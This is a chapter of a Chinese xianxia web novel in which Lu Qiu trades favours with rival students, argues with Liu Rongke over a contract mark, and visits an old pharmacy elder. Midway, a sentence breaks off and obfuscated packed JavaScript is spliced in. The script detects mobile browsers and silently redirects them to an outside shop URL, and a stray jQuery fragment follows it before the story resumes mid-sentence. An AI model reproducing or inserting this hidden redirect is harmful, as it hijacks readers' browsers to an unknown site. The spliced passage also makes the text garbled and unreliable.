22. 合作(4)
    陆秋此时表情和那黄琳三人一样,都是一脸的不可置信。不过几人不可置信的方面不一样,陆秋觉得这一点也没有什么,怎么就算是报酬了呢,而且他也是第一次知道黄琳家族是殡葬专业的。而黄琳是黄家长孙,自然知道这有多严重。

    云氏本就是大家族,只要举行葬礼,都按照羽化的仪式来,所以殡葬行业都抢着要云氏的葬礼,这一旦不收取费用,还不知要少了多少利润。但他转念一想,不就是一年吗,而且云氏如今几乎没有病危或者濒死的成员,也许没事呢。

    想到这里,他一口应下:“成交。”为了他的猫,已经无所谓了。

    “你们傀儡术都怎么进行?”云栖月盯着他左手食指上的两圈白线,提了另一个要求:“交给我,对张掌门用。”

    黄琳这时有些喜出望外了,连忙解下递给云栖月,嘱咐道:“这是傀线,用法很简单,只需种到对方的心口即可影响对方的情绪。”

    之后怎么样陆秋没有听,因为他学的控制术法与鬼修的不太一样,听了也没什么意义,只能等着云栖月的好消息。

    虽然秋络一直告诉他不能把所有的希望都寄托到别人身上,可他自己已经没了任何办法,目前最好的选择就是静候佳音。

    很快,那几人就谈完了,黄琳转向陆秋,问道:“你要把哪位值班人带出去?”

    黄琳他们要带走三号楼值班人,但陆秋却一直没说自己要带走谁,就在他暗中询问柳容柯要不要说时,就听见云栖月说道:“就是这个楼的值班人。”

    陆秋眼中带上了震惊,他一直觉得自己和柳容柯做的够隐秘了,云栖月怎么还能知道呢?

    黄琳他们也只是点点头,又问:“你知道他的本体在哪里了吗?”

    “知道,”陆秋也摆出轻松的样子,反问他们:“你们知道鸳宝在哪里了吧?”

    “自然。”黄琳果然点头,看来正如柳容柯所说,双方都在隐瞒信息,并没有做到坦诚相见。

    不过这样一来也减少了他的压力,他现在只用去找到并拿回柳容柯的鳞片就够了。

    等到几人都谈的满意了,黄琳三人离开他们寝室,陆秋才看向依旧坐在那里盘手捻的云栖月,问道:“你怎么知道我要带走柳容柯的?”

    “如果你把脖子上的印子遮了也许我会不知道。”云栖月看他的眼神十分复杂,从芥子空间抽出一面镜子来,给他看:“你看看,新鲜的就像刚纹上去的一样。”

    陆秋一看,脖子上几乎有一半都是柳容柯的妖纹,有些语无伦次道:“你……我这……这个你从什么时候发现的?”

    “中午吃饭就有了,之后消失了一会,晚上一起吃饭时又有了,直到现在。”他把镜子竖在桌上,让陆秋自己看:“其他人都知道,只有你,还以为我们不知道你和柳容柯签了契约。”

    陆秋只觉得这是柳容柯和他联系的方式,没想到真是契约印。他搓搓脖子,除了让脖子变红就没有其他用处了,妖纹就像长在他身上一样,无论怎么样都没能使印记淡下去。云栖月还在一旁感叹:“我看你和他签契约了,想着不如当个好人,帮你们主仆一把,给你们一个自由。”

    陆秋放弃了,直接联系上柳容柯,问他怎么样能把印记给消除掉。柳容柯答非所问:“你觉得不好看吗?”

    “怎么可能会好看!”陆秋有些急了:“给别人打印记本来就不对吧?还在这么明显的位置,看着和给灵兽戴项圈一个样子。”他其实是想说和狗撒尿标记地盘一样,但这个形容自己未免也有些恶心,只好换了个文雅的形容。

    陆秋突然感觉到印记处又凉风拂过,他再看向镜子,发现印记迅速变淡,最后消失不见了。

    “你给抹掉了?”陆秋有些惊喜的确认脖颈上真的没有了印记。

    “没,只是换地方了。”柳容柯带着些小得意的声音传来,让还没完全高兴起来的陆秋高兴不起来了。

    至少别人看不见了嘛,他这么宽慰自己。

    之后他问云栖月:“你现在去找张掌门吗?”

    “现在还太早了。”云栖月看看时间,又问他:“你有事?”

    “我去找东西。”陆秋如实回答。

    “找什么?”

    陆秋给他说了有关值班人的信息,又提了自己需要找鳞片一事,只是现在对于鳞片在哪里还是毫无头绪。云栖月静静听他说完,甩了甩手捻上的流苏,又将凌乱的部分整理顺滑,突然问道:“你手里有多少钱?”

    “一点。”陆秋回答的毫不犹豫。

    “一点是多少?”云栖月知道他们家族经济实力差距太大,所以对陆秋概念中的一点不是很理解,想让他再解释一下到底多少。

    “嗯……”陆秋尝试形容,因为到底有多少他也不能全透出来,只好模模糊糊的说:“大概……一个月会有五千左右?”

    还好杜漓不在这里,不然他又要哀嚎怎么他们一个个的都那么有钱。但陆秋和云栖月没这个概念,就听云栖月给他分析道:“你去花钱挂悬赏,让别人找信物。”

    “人多了,不会引起注意吗?”

    “让他们找其他值班人的信物。”云栖月皱眉:“黄琳那边有女寝的信物线索,让宗门把注意力放在对面。”

    他们动作很快,没有多长时间就从黄琳那里弄到了女寝值班人的消息,两人随机挑选了三位值班人的信物当做悬赏匿名发了出去,上面也只有一句:珍贵之物,寻到并交付者必有重谢。

    这下想不让内部人员起疑都不可能了,陆秋为了营造更真实的样子,同样把柳容柯的鳞片和四号楼值班人的悬赏发了出去,就等着滨水宗内部大乱,自己好浑水摸鱼,让事情发展更顺利。

    “下午我去找姓张的,你怎么打算?”云栖月把笔往旁边一扔,往后靠着椅背,又嫌椅背硌人,把翅膀放出来倚着。

    “先不要和他说值班人的事情,”陆秋思索着:“让他们对值班人的警备拉到最高,然后通过黄琳让他从心底肯定值班人需要替换掉。”

    “哦……”云栖月明白他的意思:“你想让他对滨水宗的势力进行大清洗。”

    “是的。”陆秋承认:“我想不到其他方法了。”

    “放心吧,包在我身上。”云栖月终于收起那种大爷的姿态,从板凳上站起来,又窝回了被窝里。

    陆秋无奈的笑了,问:“悬赏都发出去了,那我就不用去找了吗?”

    “嗯……”云栖月半天才把头从被窝中探出来,看向他:“你自己去?”

    陆秋看他只露个脑袋的模样,更觉得好笑了:“我自己去吧,你等着下午去找张掌门吧。”

    他穿戴好衣物,想了想还是从芥子空间中找到了个耳夹,如果他没记错的话,这耳夹应该是可以掩盖自己身上气息的。

    他在镜子前比划着,看是在耳垂上自然还是在耳骨上自然,但怎么试都觉得两边不对称,怎么也不好看。

    最终他将鬓角处的头发留下来,后面扎成高马尾的样式,而前方留的两缕头发自然向下绕过耳朵,遮住耳骨上的耳夹,又绕到脑后填进了马尾辫中。

    他下意识摸上脖颈,但突然想起柳容柯说印记已经换了地方,他还要找对方理论一番,所以就急匆匆地出门直奔前台。柳容柯站在那里,见他来了,直接将前台桌的小门打开,请他进来。

    一回生二回熟,陆秋也是直接进去了,他知道这个点是不会有人的,就直接质问他:“你解释一下,为什么直接给我打了印记?”

    “为了找你建立联系啊。”柳容柯给他倒了杯热水。他发现陆秋平时没有喝过茶,都是喝白水,所以猜测他应该喝不惯这些浓苦的东西。

    “别拿这个当借口。”陆秋接过水,但态度并没有缓和:“这印记是一辈子的,你没有给我说明就私自打印记,怎么都是你的错。”

    “抱歉,”柳容柯服软了,但让陆秋明白这其中的好处,就不会再责怪他了:“有了这个印记,等我恢复了自由,你可以命令我的。”

    陆秋盯着他,在思考了一阵时间后果然决定一笔带

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395940|141174||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    过:“行吧,我就当作是解救我的小宠物了。”

    两人开玩笑是开玩笑,但正经事还是要去做。陆秋就和散步一样,慢悠悠的晃到了药房,虽然之后的这几年滨水宗又做了许多修整,但整体看起来还是没有变化的。陆秋记得关押柳容柯的地牢入口就在药房内部,但本体并不需要他关心,他只用找到鳞片就完成了任务。

    看似轻松,但也只是相对意义上的轻松,鳞片绝对被藏得严严实实,能不能有线索还不好说。

    他保持着和柳容柯的对话,就在要走进药房大门之时,柳容柯像是才想起来,提醒他:“这个药房……长老和你娘有些过节。”

    怎么天天有过节啊!陆秋停下脚步,在心底疯狂问柳容柯:“什么过节?我长得和我娘这么像绝对会被认出来好吗!”

    “这长老以前要收你娘为徒弟的,好言好语相劝怎么都不同意有师徒关系,你娘就这么一直混在里面学他的药方,等全学完就直接走人了,把这长老气得不轻。”

    “也就是说我娘偷师,还不承认人家是她师父?”

    “对,不过不用担心,他人还是不错的。”

    纵使柳容柯这么说,陆秋站在门口,仍然觉得脚步沉重了许多,但只需略微思考,他就想出来了个好主意。以前生气,这不是来赔罪了吗,虽然不知道陆秋此行是来报仇还是报恩。

    他往里一看,有个白胡子长的都快到胸膛的老头正坐在柜前的躺椅上,手中拿着蒲扇有一搭没一搭的扇着风,就在他观察老头的时候,那老头半合的眼缓缓睁开了,看向陆秋。老头看着挺温和的。陆秋打量着老头,用心法注意到对方气质很温和,就像冬天晒太阳的老猫,仿佛只是陪在旁边就能让人心情愉悦。

    不对,陆秋站在门口发愣,只觉自己以前是见过这人的。

    “哪来的娃娃?”老头说话带着些许口音,慢慢从躺椅上坐起来,招招手让陆秋进门。

    陆秋遇到这种人也是不知道怎么办了,他见过许多气质锋利的人,他们的攻击性才是他最擅长应对的,只要保持一样的态度就可以。但这种纯净的人他是不敢多交流的,他总觉得这是一种危险的信号,自己可能会被卷入其中,无法自拔或是伤害到这种纯净。

    他的动作可以说得上是蹑手蹑脚,轻轻走到老头的躺椅旁边。老头可能是眼神有些不好了,眯眼打量了一会,才露出恍然大悟的表情来:“你是秋小鬼的娃娃啊?”

    秋小鬼?陆秋有些惊奇的问柳容柯,但柳容柯也不知道怎么一回事,两人就只能等老头说话。老头用灵力拉过来一个八叉板凳让陆秋坐,他看起来清醒了不少,又高兴的把桌上果盘端过来直接放陆秋腿上,让他捡喜欢的吃。

    陆秋坐在那里,腿上放个果盘,现在的情况完全打乱了他的计划,所以等到老头又坐回躺椅上他才开口道:“您见过我吗?”

    “你小时候我还抱过你呢!”老头得意的翘着脚:“你百天抓周的时候还是来我这里抓的,只是你太小,记不得了。”

    见陆秋拘谨的模样,他指指果盘说道:“吃啊,想吃什么拿什么,不够我那柜子里还有,再去拿。”

    陆秋听他这么说,只好捏了块切好的灵果,又问道:“我娘还经常来吗?”

    “来啊,每年过年都来送礼,可惜滨水宗不让她进,每次都只能在宗门门口和她打个照面,有时候忙了就把节礼放在门口,连人也见不到。”老头叹息着,又问陆秋:“娃娃来修妖道的吗?”

    “来学习的。”陆秋回答的模棱两可,他又不想寒了对方的心,又要保证能顺利找到柳容柯的鳞片,这种伤害老实人的感觉让他也有些愧疚了。

    “哦哦。”老头自顾自说道:“你爹是滨水宗的,让你来也正常,你还是得以家族心法为主,不能像你爹那样叛逆啊。”

    “我爹怎么叛逆?”陆秋一听到有人手中有陆夕月的小辫子,自己也想揪一揪,连果盘都放在了桌上,等着老头讲。老头喝了口茶水润润嗓子,就开始绘声绘色讲起陆夕月的往事。